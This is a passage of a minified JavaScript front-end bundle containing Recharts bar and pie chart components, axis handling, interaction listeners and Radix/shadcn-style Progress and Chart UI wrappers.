h?v.createElement(Gr,{zIndex:an.activeBar},v.createElement(ph,Ma({},r,{name:String(r.name)},i,{isActive:h,option:p,index:l,dataKey:c}))):v.createElement(ph,Ma({},r,{name:String(r.name)},i,{isActive:h,option:p,index:l,dataKey:c}))}function Qie(e){var{shape:t,baseProps:n,entry:r,index:i,dataKey:l}=e;return v.createElement(ph,Ma({},n,{name:String(n.name)},r,{isActive:!1,option:t,index:i,dataKey:l}))}function Jie(e){var t,{data:n,props:r}=e,i=(t=Ur(r))!==null&&t!==void 0?t:{},{id:l}=i,c=mh(i,Uie),{shape:u,dataKey:f,activeBar:h}=r,{onMouseEnter:p,onClick:m,onMouseLeave:y}=r,x=mh(r,Hie),S=U1(p,f,l),w=H1(y),O=q1(m,f,l);return n?v.createElement(v.Fragment,null,n.map((A,_)=>v.createElement(zie,Ma({index:_,key:"rectangle-".concat(A?.x,"-").concat(A?.y,"-").concat(A?.value,"-").concat(_),className:"recharts-bar-rectangle"},Wh(x,A,_),{onMouseEnter:S(A,_),onMouseLeave:w(A,_),onClick:O(A,_)}),h?v.createElement(Zie,{shape:u,activeBar:h,baseProps:c,entry:A,index:_,dataKey:f}):v.createElement(Qie,{shape:u,baseProps:c,entry:A,index:_,dataKey:f})))):null}function eoe(e){var{props:t,previousRectanglesRef:n}=e,{data:r,layout:i,isAnimationActive:l,animationBegin:c,animationDuration:u,animationEasing:f,onAnimationEnd:h,onAnimationStart:p}=t,m=n.current,y=gp(t,"recharts-bar-"),[x,S]=v.useState(!1),w=!x,O=v.useCallback(()=>{typeof h=="function"&&h(),S(!1)},[h]),A=v.useCallback(()=>{typeof p=="function"&&p(),S(!0)},[p]);return v.createElement(Xie,{showLabels:w,rects:r},v.createElement(vp,{animationId:y,begin:c,duration:u,isActive:l,easing:f,onAnimationEnd:O,onAnimationStart:A,key:y},_=>{var T=_===1?r:r?.map((j,M)=>{var P=m&&m[M];if(P)return cn(cn({},j),{},{x:Rt(P.x,j.x,_),y:Rt(P.y,j.y,_),width:Rt(P.width,j.width,_),height:Rt(P.height,j.height,_)});if(i==="horizontal"){var R=Rt(0,j.height,_),I=Rt(j.stackedBarStart,j.y,_);return cn(cn({},j),{},{y:I,height:R})}var B=Rt(0,j.width,_),q=Rt(j.stackedBarStart,j.x,_);return cn(cn({},j),{},{width:B,x:q})});return _>0&&(n.current=T??null),T==null?null:v.createElement(fn,null,v.createElement(Jie,{props:t,data:T}))}),v.createElement(QL,{label:t.label}),t.children)}function toe(e){var t=v.useRef(null);return v.createElement(eoe,{previousRectanglesRef:t,props:e})}var bI=0,noe=(e,t)=>{var n=Array.isArray(e.value)?e.value[1]:e.value;return{x:e.x,y:e.y,value:n,errorVal:lt(e,t)}};class roe extends v.PureComponent{render(){var{hide:t,data:n,dataKey:r,className:i,xAxisId:l,yAxisId:c,needClip:u,background:f,id:h}=this.props;if(t||n==null)return null;var p=Ye("recharts-bar",i),m=h;return v.createElement(fn,{className:p,id:h},u&&v.createElement("defs",null,v.createElement(Vae,{clipPathId:m,xAxisId:l,yAxisId:c})),v.createElement(fn,{className:"recharts-bar-rectangles",clipPath:u?"url(#clipPath-".concat(m,")"):void 0},v.createElement(Wie,{data:n,dataKey:r,background:f,allOtherBarProps:this.props}),v.createElement(toe,this.props)))}}var aoe={activeBar:!1,animationBegin:0,animationDuration:400,animationEasing:"ease",background:!1,hide:!1,isAnimationActive:"auto",label:!1,legendType:"rect",minPointSize:bI,xAxisId:0,yAxisId:0,zIndex:an.bar};function ioe(e){var{xAxisId:t,yAxisId:n,hide:r,legendType:i,minPointSize:l,activeBar:c,animationBegin:u,animationDuration:f,animationEasing:h,isAnimationActive:p}=e,{needClip:m}=vI(t,n),y=Jc(),x=Vn(),S=B1(e.children,vo),w=we(_=>jie(_,e.id,x,S));if(y!=="vertical"&&y!=="horizontal")return null;var O,A=w?.[0];return A==null||A.height==null||A.width==null?O=0:O=y==="vertical"?A.height/2:A.width/2,v.createElement(Fae,{xAxisId:t,yAxisId:n,data:w,dataPointFormatter:noe,errorBarOffset:O},v.createElement(roe,Ma({},e,{layout:y,needClip:m,data:w,xAxisId:t,yAxisId:n,hide:r,legendType:i,minPointSize:l,activeBar:c,animationBegin:u,animationDuration:f,animationEasing:h,isAnimationActive:p})))}function ooe(e){var{layout:t,barSettings:{dataKey:n,minPointSize:r},pos:i,bandSize:l,xAxis:c,yAxis:u,xAxisTicks:f,yAxisTicks:h,stackedData:p,displayedData:m,offset:y,cells:x,parentViewBox:S,dataStartIndex:w}=e,O=t==="horizontal"?u:c,A=p?O.scale.domain():null,_=DK({numericAxis:O}),T=O.scale(_);return m.map((j,M)=>{var P,R,I,B,q,U;if(p){var V=p[M+w];if(V==null)return null;P=TK(V,A)}else P=lt(j,n),Array.isArray(P)||(P=[_,P]);var oe=pie(r,bI)(P[1],M);if(t==="horizontal"){var le,[ce,L]=[u.scale(P[0]),u.scale(P[1])];R=$_({axis:c,ticks:f,bandSize:l,offset:i.offset,entry:j,index:M}),I=(le=L??ce)!==null&&le!==void 0?le:void 0,B=i.size;var F=ce-L;if(q=Hr(F)?0:F,U={x:R,y:y.top,width:B,height:y.height},Math.abs(oe)>0&&Math.abs(q)0&&Math.abs(B)v.createElement(v.Fragment,null,v.createElement(Yne,{legendPayload:Yie(t)}),v.createElement(Gie,{dataKey:t.dataKey,stroke:t.stroke,strokeWidth:t.strokeWidth,fill:t.fill,name:t.name,hide:t.hide,unit:t.unit,tooltipType:t.tooltipType,id:i}),v.createElement(lre,{type:"bar",id:i,data:void 0,xAxisId:t.xAxisId,yAxisId:t.yAxisId,zAxisId:0,dataKey:t.dataKey,stackId:n,hide:t.hide,barSize:t.barSize,minPointSize:t.minPointSize,maxBarSize:t.maxBarSize,isPanorama:r}),v.createElement(Gr,{zIndex:t.zIndex},v.createElement(ioe,Ma({},t,{id:i})))))}var xI=v.memo(loe,Y1);xI.displayName="Bar";var soe=["domain","range"],coe=["domain","range"];function K2(e,t){if(e==null)return{};var n,r,i=uoe(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{n.current===null?t(zre(e)):n.current!==e&&t($re({prev:n.current,next:e})),n.current=e},[e,t]),v.useLayoutEffect(()=>()=>{n.current&&(t(Bre(n.current)),n.current=null)},[t]),null}var moe=e=>{var{xAxisId:t,className:n}=e,r=we(Sx),i=Vn(),l="xAxis",c=we(A=>uL(A,l,t,i)),u=we(A=>oL(A,t)),f=we(A=>zQ(A,t)),h=we(A=>Uk(A,t));if(u==null||f==null||h==null)return null;var{dangerouslySetInnerHTML:p,ticks:m,scale:y}=e,x=G2(e,foe),{id:S,scale:w}=h,O=G2(h,doe);return v.createElement(K1,yb({},x,O,{x:f.x,y:f.y,width:u.width,height:u.height,className:Ye("recharts-".concat(l," ").concat(l),n),viewBox:r,ticks:c,axisType:l}))},voe={allowDataOverflow:Ut.allowDataOverflow,allowDecimals:Ut.allowDecimals,allowDuplicatedCategory:Ut.allowDuplicatedCategory,angle:Ut.angle,axisLine:ro.axisLine,height:Ut.height,hide:!1,includeHidden:Ut.includeHidden,interval:Ut.interval,minTickGap:Ut.minTickGap,mirror:Ut.mirror,orientation:Ut.orientation,padding:Ut.padding,reversed:Ut.reversed,scale:Ut.scale,tick:Ut.tick,tickCount:Ut.tickCount,tickLine:ro.tickLine,tickSize:ro.tickSize,type:Ut.type,xAxisId:0},goe=e=>{var t=pn(e,voe);return v.createElement(v.Fragment,null,v.createElement(poe,{allowDataOverflow:t.allowDataOverflow,allowDecimals:t.allowDecimals,allowDuplicatedCategory:t.allowDuplicatedCategory,angle:t.angle,dataKey:t.dataKey,domain:t.domain,height:t.height,hide:t.hide,id:t.xAxisId,includeHidden:t.includeHidden,interval:t.interval,minTickGap:t.minTickGap,mirror:t.mirror,name:t.name,orientation:t.orientation,padding:t.padding,reversed:t.reversed,scale:t.scale,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit}),v.createElement(moe,t))},SI=v.memo(goe,wI);SI.displayName="XAxis";var yoe=["dangerouslySetInnerHTML","ticks","scale"],boe=["id","scale"];function bb(){return bb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{n.current===null?t(Ure(e)):n.current!==e&&t(Hre({prev:n.current,next:e})),n.current=e},[e,t]),v.useLayoutEffect(()=>()=>{n.current&&(t(qre(n.current)),n.current=null)},[t]),null}var Soe=e=>{var{yAxisId:t,className:n,width:r,label:i}=e,l=v.useRef(null),c=v.useRef(null),u=we(Sx),f=Vn(),h=ft(),p="yAxis",m=we(P=>lL(P,t)),y=we(P=>BQ(P,t)),x=we(P=>uL(P,p,t,f)),S=we(P=>Hk(P,t));if(v.useLayoutEffect(()=>{if(!(r!=="auto"||!m||I1(i)||v.isValidElement(i)||S==null)){var P=l.current;if(P){var R=P.getCalculatedWidth();Math.round(m.width)!==Math.round(R)&&h(Fre({id:t,width:R}))}}},[x,m,h,i,t,r,S]),m==null||y==null||S==null)return null;var{dangerouslySetInnerHTML:w,ticks:O,scale:A}=e,_=W2(e,yoe),{id:T,scale:j}=S,M=W2(S,boe);return v.createElement(K1,bb({},_,M,{ref:l,labelRef:c,x:y.x,y:y.y,tickTextProps:r==="auto"?{width:void 0}:{width:r},width:m.width,height:m.height,className:Ye("recharts-".concat(p," ").concat(p),n),viewBox:u,ticks:x,axisType:p}))},Ooe={allowDataOverflow:Ht.allowDataOverflow,allowDecimals:Ht.allowDecimals,allowDuplicatedCategory:Ht.allowDuplicatedCategory,angle:Ht.angle,axisLine:ro.axisLine,hide:!1,includeHidden:Ht.includeHidden,interval:Ht.interval,minTickGap:Ht.minTickGap,mirror:Ht.mirror,orientation:Ht.orientation,padding:Ht.padding,reversed:Ht.reversed,scale:Ht.scale,tick:Ht.tick,tickCount:Ht.tickCount,tickLine:ro.tickLine,tickSize:ro.tickSize,type:Ht.type,width:Ht.width,yAxisId:0},Eoe=e=>{var t=pn(e,Ooe);return v.createElement(v.Fragment,null,v.createElement(woe,{interval:t.interval,id:t.yAxisId,scale:t.scale,type:t.type,domain:t.domain,allowDataOverflow:t.allowDataOverflow,dataKey:t.dataKey,allowDuplicatedCategory:t.allowDuplicatedCategory,allowDecimals:t.allowDecimals,tickCount:t.tickCount,padding:t.padding,includeHidden:t.includeHidden,reversed:t.reversed,ticks:t.ticks,width:t.width,orientation:t.orientation,mirror:t.mirror,hide:t.hide,unit:t.unit,name:t.name,angle:t.angle,minTickGap:t.minTickGap,tick:t.tick,tickFormatter:t.tickFormatter}),v.createElement(Soe,t))},OI=v.memo(Eoe,wI);OI.displayName="YAxis";var Aoe=(e,t)=>t,G1=G([Aoe,Fe,$k,It,CL,za,tee,kt],see),W1=e=>{var t=e.currentTarget.getBoundingClientRect(),n=t.width/e.currentTarget.offsetWidth,r=t.height/e.currentTarget.offsetHeight;return{chartX:Math.round((e.clientX-t.left)/n),chartY:Math.round((e.clientY-t.top)/r)}},EI=fr("mouseClick"),AI=Zc();AI.startListening({actionCreator:EI,effect:(e,t)=>{var n=e.payload,r=G1(t.getState(),W1(n));r?.activeIndex!=null&&t.dispatch(eJ({activeIndex:r.activeIndex,activeDataKey:void 0,activeCoordinate:r.activeCoordinate}))}});var xb=fr("mouseMove"),CI=Zc(),ld=null;CI.startListening({actionCreator:xb,effect:(e,t)=>{var n=e.payload;ld!==null&&cancelAnimationFrame(ld);var r=W1(n);ld=requestAnimationFrame(()=>{var i=t.getState(),l=C1(i,i.tooltip.settings.shared);if(l==="axis"){var c=G1(i,r);c?.activeIndex!=null?t.dispatch(yL({activeIndex:c.activeIndex,activeDataKey:void 0,activeCoordinate:c.activeCoordinate})):t.dispatch(gL())}ld=null})}});function Coe(e,t){return t instanceof HTMLElement?"HTMLElement <".concat(t.tagName,' class="').concat(t.className,'">'):t===window?"global.window":e==="children"&&typeof t=="object"&&t!==null?"<>":t}var X2={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,barSize:void 0,className:void 0,maxBarSize:void 0,stackOffset:"none",syncId:void 0,syncMethod:"index",baseValue:void 0,reverseStackOrder:!1},_I=An({name:"rootProps",initialState:X2,reducers:{updateOptions:(e,t)=>{var n;e.accessibilityLayer=t.payload.accessibilityLayer,e.barCategoryGap=t.payload.barCategoryGap,e.barGap=(n=t.payload.barGap)!==null&&n!==void 0?n:X2.barGap,e.barSize=t.payload.barSize,e.maxBarSize=t.payload.maxBarSize,e.stackOffset=t.payload.stackOffset,e.syncId=t.payload.syncId,e.syncMethod=t.payload.syncMethod,e.className=t.payload.className,e.baseValue=t.payload.baseValue,e.reverseStackOrder=t.payload.reverseStackOrder}}}),_oe=_I.reducer,{updateOptions:Toe}=_I.actions,TI=An({name:"polarOptions",initialState:null,reducers:{updatePolarOptions:(e,t)=>t.payload}}),{updatePolarOptions:Noe}=TI.actions,Moe=TI.reducer,NI=fr("keyDown"),MI=fr("focus"),X1=Zc();X1.startListening({actionCreator:NI,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip,l=e.payload;if(!(l!=="ArrowRight"&&l!=="ArrowLeft"&&l!=="Enter")){var c=_1(i,os(n),cu(n),du(n)),u=c==null?-1:Number(c);if(!(!Number.isFinite(u)||u<0)){var f=za(n);if(l==="Enter"){var h=uh(n,"axis","hover",String(i.index));t.dispatch(fb({active:!i.active,activeIndex:i.index,activeCoordinate:h}));return}var p=FQ(n),m=p==="left-to-right"?1:-1,y=l==="ArrowRight"?1:-1,x=u+y*m;if(!(f==null||x>=f.length||x<0)){var S=uh(n,"axis","hover",String(x));t.dispatch(fb({active:!0,activeIndex:x.toString(),activeCoordinate:S}))}}}}}});X1.startListening({actionCreator:MI,effect:(e,t)=>{var n=t.getState(),r=n.rootProps.accessibilityLayer!==!1;if(r){var{keyboardInteraction:i}=n.tooltip;if(!i.active&&i.index==null){var l="0",c=uh(n,"axis","hover",String(l));t.dispatch(fb({active:!0,activeIndex:l,activeCoordinate:c}))}}}});var ir=fr("externalEvent"),jI=Zc(),n0=new Map;jI.startListening({actionCreator:ir,effect:(e,t)=>{var{handler:n,reactEvent:r}=e.payload;if(n!=null){r.persist();var i=r.type,l=n0.get(i);l!==void 0&&cancelAnimationFrame(l);var c=requestAnimationFrame(()=>{try{var u=t.getState(),f={activeCoordinate:BJ(u),activeDataKey:P1(u),activeIndex:mo(u),activeLabel:NL(u),activeTooltipIndex:mo(u),isTooltipActive:UJ(u)};n(f,r)}finally{n0.delete(i)}});n0.set(i,c)}}});var joe=G([as],e=>e.tooltipItemPayloads),Poe=G([joe,fu,(e,t)=>t,(e,t,n)=>n],(e,t,n,r)=>{var i=e.find(u=>u.settings.graphicalItemId===r);if(i!=null){var{positions:l}=i;if(l!=null){var c=t(l,n);return c}}}),PI=fr("touchMove"),RI=Zc();RI.startListening({actionCreator:PI,effect:(e,t)=>{var n=e.payload;if(!(n.touches==null||n.touches.length===0)){var r=t.getState(),i=C1(r,r.tooltip.settings.shared);if(i==="axis"){var l=n.touches[0];if(l==null)return;var c=G1(r,W1({clientX:l.clientX,clientY:l.clientY,currentTarget:n.currentTarget}));c?.activeIndex!=null&&t.dispatch(yL({activeIndex:c.activeIndex,activeDataKey:void 0,activeCoordinate:c.activeCoordinate}))}else if(i==="item"){var u,f=n.touches[0];if(document.elementFromPoint==null||f==null)return;var h=document.elementFromPoint(f.clientX,f.clientY);if(!h||!h.getAttribute)return;var p=h.getAttribute(cD),m=(u=h.getAttribute(uD))!==null&&u!==void 0?u:void 0,y=is(r).find(w=>w.id===m);if(p==null||y==null||m==null)return;var{dataKey:x}=y,S=Poe(r,p,m);t.dispatch(vL({activeDataKey:x,activeIndex:p,activeCoordinate:S,activeGraphicalItemId:m}))}}}});var Roe=RR({brush:nae,cartesianAxis:Vre,chartData:$ee,errorBars:zae,graphicalItems:ire,layout:SK,legend:PY,options:Dee,polarAxis:yne,polarOptions:Moe,referenceElements:cae,rootProps:_oe,tooltip:tJ,zIndex:See}),Doe=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return YV({reducer:Roe,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([AI.middleware,CI.middleware,X1.middleware,jI.middleware,RI.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(GR({type:"raf"}))},devTools:{serialize:{replacer:Coe},name:"recharts-".concat(n)}})};function DI(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Vn(),l=v.useRef(null);if(i)return n;l.current==null&&(l.current=Doe(t,r));var c=hx;return v.createElement(cie,{context:c,store:l.current},n)}function koe(e){var{layout:t,margin:n}=e,r=ft(),i=Vn();return v.useEffect(()=>{i||(r(bK(t)),r(yK(n)))},[r,i,t,n]),null}var kI=v.memo(koe,Y1);function LI(e){var t=ft();return v.useEffect(()=>{t(Toe(e))},[t,e]),null}function Z2(e){var{zIndex:t,isPanorama:n}=e,r=v.useRef(null),i=ft();return v.useLayoutEffect(()=>(r.current&&i(xee({zIndex:t,element:r.current,isPanorama:n})),()=>{i(wee({zIndex:t,isPanorama:n}))}),[i,t,n]),v.createElement("g",{tabIndex:-1,ref:r})}function Q2(e){var{children:t,isPanorama:n}=e,r=we(uee);if(!r||r.length===0)return t;var i=r.filter(c=>c<0),l=r.filter(c=>c>0);return v.createElement(v.Fragment,null,i.map(c=>v.createElement(Z2,{key:c,zIndex:c,isPanorama:n})),t,l.map(c=>v.createElement(Z2,{key:c,zIndex:c,isPanorama:n})))}var Loe=["children"];function Ioe(e,t){if(e==null)return{};var n,r,i=zoe(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var n=gY(),r=yY(),i=AD();if(!Si(n)||!Si(r))return null;var{children:l,otherAttributes:c,title:u,desc:f}=e,h,p;return c!=null&&(typeof c.tabIndex=="number"?h=c.tabIndex:h=i?0:void 0,typeof c.role=="string"?p=c.role:p=i?"application":void 0),v.createElement(ZP,vh({},c,{title:u,desc:f,role:p,tabIndex:h,width:n,height:r,style:$oe,ref:t}),l)}),Uoe=e=>{var{children:t}=e,n=we(cp);if(!n)return null;var{width:r,height:i,y:l,x:c}=n;return v.createElement(ZP,{width:r,height:i,x:c,y:l},t)},J2=v.forwardRef((e,t)=>{var{children:n}=e,r=Ioe(e,Loe),i=Vn();return i?v.createElement(Uoe,null,v.createElement(Q2,{isPanorama:!0},n)):v.createElement(Boe,vh({ref:t},r),v.createElement(Q2,{isPanorama:!1},n))});function Hoe(){var e=ft(),[t,n]=v.useState(null),r=we(BK);return v.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),l=i.width/t.offsetWidth;ht(l)&&l!==r&&e(wK(l))}},[t,e,r]),n}function eM(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function qoe(e){for(var t=1;t(Gee(),null);function gh(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var Goe=v.forwardRef((e,t)=>{var n,r,i=v.useRef(null),[l,c]=v.useState({containerWidth:gh((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:gh((r=e.style)===null||r===void 0?void 0:r.height)}),u=v.useCallback((h,p)=>{c(m=>{var y=Math.round(h),x=Math.round(p);return m.containerWidth===y&&m.containerHeight===x?m:{containerWidth:y,containerHeight:x}})},[]),f=v.useCallback(h=>{if(typeof t=="function"&&t(h),h!=null&&typeof ResizeObserver<"u"){var{width:p,height:m}=h.getBoundingClientRect();u(p,m);var y=S=>{var{width:w,height:O}=S[0].contentRect;u(w,O)},x=new ResizeObserver(y);x.observe(h),i.current=x}},[t,u]);return v.useEffect(()=>()=>{var h=i.current;h?.disconnect()},[u]),v.createElement(v.Fragment,null,v.createElement(fp,{width:l.containerWidth,height:l.containerHeight}),v.createElement("div",yo({ref:f},e)))}),Woe=v.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,l]=v.useState({containerWidth:gh(n),containerHeight:gh(r)}),c=v.useCallback((f,h)=>{l(p=>{var m=Math.round(f),y=Math.round(h);return p.containerWidth===m&&p.containerHeight===y?p:{containerWidth:m,containerHeight:y}})},[]),u=v.useCallback(f=>{if(typeof t=="function"&&t(f),f!=null){var{width:h,height:p}=f.getBoundingClientRect();c(h,p)}},[t,c]);return v.createElement(v.Fragment,null,v.createElement(fp,{width:i.containerWidth,height:i.containerHeight}),v.createElement("div",yo({ref:u},e)))}),Xoe=v.forwardRef((e,t)=>{var{width:n,height:r}=e;return v.createElement(v.Fragment,null,v.createElement(fp,{width:n,height:r}),v.createElement("div",yo({ref:t},e)))}),Zoe=v.forwardRef((e,t)=>{var{width:n,height:r}=e;return Ea(n)||Ea(r)?v.createElement(Woe,yo({},e,{ref:t})):v.createElement(Xoe,yo({},e,{ref:t}))});function Qoe(e){return e===!0?Goe:Zoe}var Joe=v.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:l,onContextMenu:c,onDoubleClick:u,onMouseDown:f,onMouseEnter:h,onMouseLeave:p,onMouseMove:m,onMouseUp:y,onTouchEnd:x,onTouchMove:S,onTouchStart:w,style:O,width:A,responsive:_,dispatchTouchEvents:T=!0}=e,j=v.useRef(null),M=ft(),[P,R]=v.useState(null),[I,B]=v.useState(null),q=Hoe(),U=Ox(),V=U?.width>0?U.width:A,oe=U?.height>0?U.height:i,le=v.useCallback(Q=>{q(Q),typeof t=="function"&&t(Q),R(Q),B(Q),Q!=null&&(j.current=Q)},[q,t,R,B]),ce=v.useCallback(Q=>{M(EI(Q)),M(ir({handler:l,reactEvent:Q}))},[M,l]),L=v.useCallback(Q=>{M(xb(Q)),M(ir({handler:h,reactEvent:Q}))},[M,h]),F=v.useCallback(Q=>{M(gL()),M(ir({handler:p,reactEvent:Q}))},[M,p]),$=v.useCallback(Q=>{M(xb(Q)),M(ir({handler:m,reactEvent:Q}))},[M,m]),Z=v.useCallback(()=>{M(MI())},[M]),de=v.useCallback(Q=>{M(NI(Q.key))},[M]),D=v.useCallback(Q=>{M(ir({handler:c,reactEvent:Q}))},[M,c]),X=v.useCallback(Q=>{M(ir({handler:u,reactEvent:Q}))},[M,u]),ae=v.useCallback(Q=>{M(ir({handler:f,reactEvent:Q}))},[M,f]),se=v.useCallback(Q=>{M(ir({handler:y,reactEvent:Q}))},[M,y]),me=v.useCallback(Q=>{M(ir({handler:w,reactEvent:Q}))},[M,w]),xe=v.useCallback(Q=>{T&&M(PI(Q)),M(ir({handler:S,reactEvent:Q}))},[M,T,S]),ee=v.useCallback(Q=>{M(ir({handler:x,reactEvent:Q}))},[M,x]),_e=Qoe(_);return v.createElement(LL.Provider,{value:P},v.createElement(_q.Provider,{value:I},v.createElement(_e,{width:V??O?.width,height:oe??O?.height,className:Ye("recharts-wrapper",r),style:qoe({position:"relative",cursor:"default",width:V,height:oe},O),onClick:ce,onContextMenu:D,onDoubleClick:X,onFocus:Z,onKeyDown:de,onMouseDown:ae,onMouseEnter:L,onMouseLeave:F,onMouseMove:$,onMouseUp:se,onTouchEnd:ee,onTouchMove:xe,onTouchStart:me,ref:le},v.createElement(Yoe,null),n)))}),ele=["width","height","responsive","children","className","style","compact","title","desc"];function tle(e,t){if(e==null)return{};var n,r,i=nle(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{width:n,height:r,responsive:i,children:l,className:c,style:u,compact:f,title:h,desc:p}=e,m=tle(e,ele),y=Ur(m);return f?v.createElement(v.Fragment,null,v.createElement(fp,{width:n,height:r}),v.createElement(J2,{otherAttributes:y,title:h,desc:p},l)):v.createElement(Joe,{className:c,style:u,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},v.createElement(J2,{otherAttributes:y,title:h,desc:p,ref:t},v.createElement(fae,null,l)))});function wb(){return wb=Object.assign?Object.assign.bind():function(e){for(var t=1;tv.createElement(ile,{chartName:"BarChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:ole,tooltipPayloadSearcher:IL,categoricalChartProps:e,ref:t}));function sle(e){var t=ft();return v.useEffect(()=>{t(Noe(e))},[t,e]),null}var cle=["layout"];function Sb(){return Sb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=pn(e,yle);return v.createElement(hle,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:gle,tooltipPayloadSearcher:IL,categoricalChartProps:n,ref:t})});function ble(e,t=[]){let n=[];function r(l,c){const u=v.createContext(c);u.displayName=l+"Context";const f=n.length;n=[...n,c];const h=m=>{const{scope:y,children:x,...S}=m,w=y?.[e]?.[f]||u,O=v.useMemo(()=>S,Object.values(S));return E.jsx(w.Provider,{value:O,children:x})};h.displayName=l+"Provider";function p(m,y){const x=y?.[e]?.[f]||u,S=v.useContext(x);if(S)return S;if(c!==void 0)return c;throw new Error(`\`${m}\` must be used within \`${l}\``)}return[h,p]}const i=()=>{const l=n.map(c=>v.createContext(c));return function(u){const f=u?.[e]||l;return v.useMemo(()=>({[`__scope${e}`]:{...u,[e]:f}}),[u,f])}};return i.scopeName=e,[r,xle(i,...t)]}function xle(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(i=>({useScope:i(),scopeName:i.scopeName}));return function(l){const c=r.reduce((u,{useScope:f,scopeName:h})=>{const m=f(l)[`__scope${h}`];return{...u,...m}},{});return v.useMemo(()=>({[`__scope${t.scopeName}`]:c}),[c])}};return n.scopeName=t.scopeName,n}var wle=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],BI=wle.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),Z1="Progress",Q1=100,[Sle]=ble(Z1),[Ole,Ele]=Sle(Z1),UI=v.forwardRef((e,t)=>{const{__scopeProgress:n,value:r=null,max:i,getValueLabel:l=Ale,...c}=e;(i||i===0)&&!rM(i)&&console.error(Cle(`${i}`,"Progress"));const u=rM(i)?i:Q1;r!==null&&!aM(r,u)&&console.error(_le(`${r}`,"Progress"));const f=aM(r,u)?r:null,h=yh(f)?l(f,u):void 0;return E.jsx(Ole,{scope:n,value:f,max:u,children:E.jsx(BI.div,{"aria-valuemax":u,"aria-valuemin":0,"aria-valuenow":yh(f)?f:void 0,"aria-valuetext":h,role:"progressbar","data-state":FI(f,u),"data-value":f??void 0,"data-max":u,...c,ref:t})})});UI.displayName=Z1;var HI="ProgressIndicator",qI=v.forwardRef((e,t)=>{const{__scopeProgress:n,...r}=e,i=Ele(HI,n);return E.jsx(BI.div,{"data-state":FI(i.value,i.max),"data-value":i.value??void 0,"data-max":i.max,...r,ref:t})});qI.displayName=HI;function Ale(e,t){return`${Math.round(e/t*100)}%`}function FI(e,t){return e==null?"indeterminate":e===t?"complete":"loading"}function yh(e){return typeof e=="number"}function rM(e){return yh(e)&&!isNaN(e)&&e>0}function aM(e,t){return yh(e)&&!isNaN(e)&&e<=t&&e>=0}function Cle(e,t){return`Invalid prop \`max\` of value \`${e}\` supplied to \`${t}\`. Only numbers greater than 0 are valid max values. Defaulting to \`${Q1}\`.`}function _le(e,t){return`Invalid prop \`value\` of value \`${e}\` supplied to \`${t}\`. The \`value\` prop must be: - - a positive number - - less than the value passed to \`max\` (or ${Q1} if no \`max\` prop is set) - - \`null\` or \`undefined\` if the progress is indeterminate. - -Defaulting to \`null\`.`}var VI=UI,Tle=qI;const KI=v.forwardRef(({className:e,value:t,...n},r)=>E.jsx(VI,{ref:r,className:Ee("relative h-2 w-full overflow-hidden rounded-full bg-secondary",e),...n,children:E.jsx(Tle,{className:"h-full w-full flex-1 bg-primary transition-all",style:{transform:`translateX(-${100-(t||0)}%)`}})}));KI.displayName=VI.displayName;const YI=v.createContext(null);function Nle(){const e=v.useContext(YI);if(!e)throw new Error("useChart must be used within a ");return e}const bh=v.forwardRef(({id:e,className:t,children:n,config:r,...i},l)=>{const c=v.useId(),u=`chart-${e||c.replace(/:/g,"")}`;return E.jsx(YI.Provider,{value:{config:r},children:E.jsx("div",{"data-chart":u,ref:l,className:Ee("flex aspect-video justify-center text-xs [&_.recharts-cartesian-axis-tick_text]:fill-muted-foreground [&_.recharts-cartesian-grid_line[stroke='#ccc']]:stroke-border/50 [&_.recharts-curve.recharts-tooltip-cursor]:stroke-border [&_.recharts-dot[stroke='#fff']]:stroke-transparent [&_.recharts-layer]:outline-none [&_.recharts-polar-grid_[stroke='#ccc']]:stroke-border [&_.recharts-radial-bar-background-sector]:fill-muted [&_.recharts-rectangle.recharts-tooltip-cursor]:fill-muted [&_.recharts-reference-line_[stroke='#ccc']]:stroke-border [&_.recharts-sector[stroke='#fff']]:stroke-transparent [&_.recharts-sector]:outline-none [&_.recharts-surface]:outline-none",t),...i,children:E.jsx(pY,{children:n})})})});bh.displayName="Chart";const 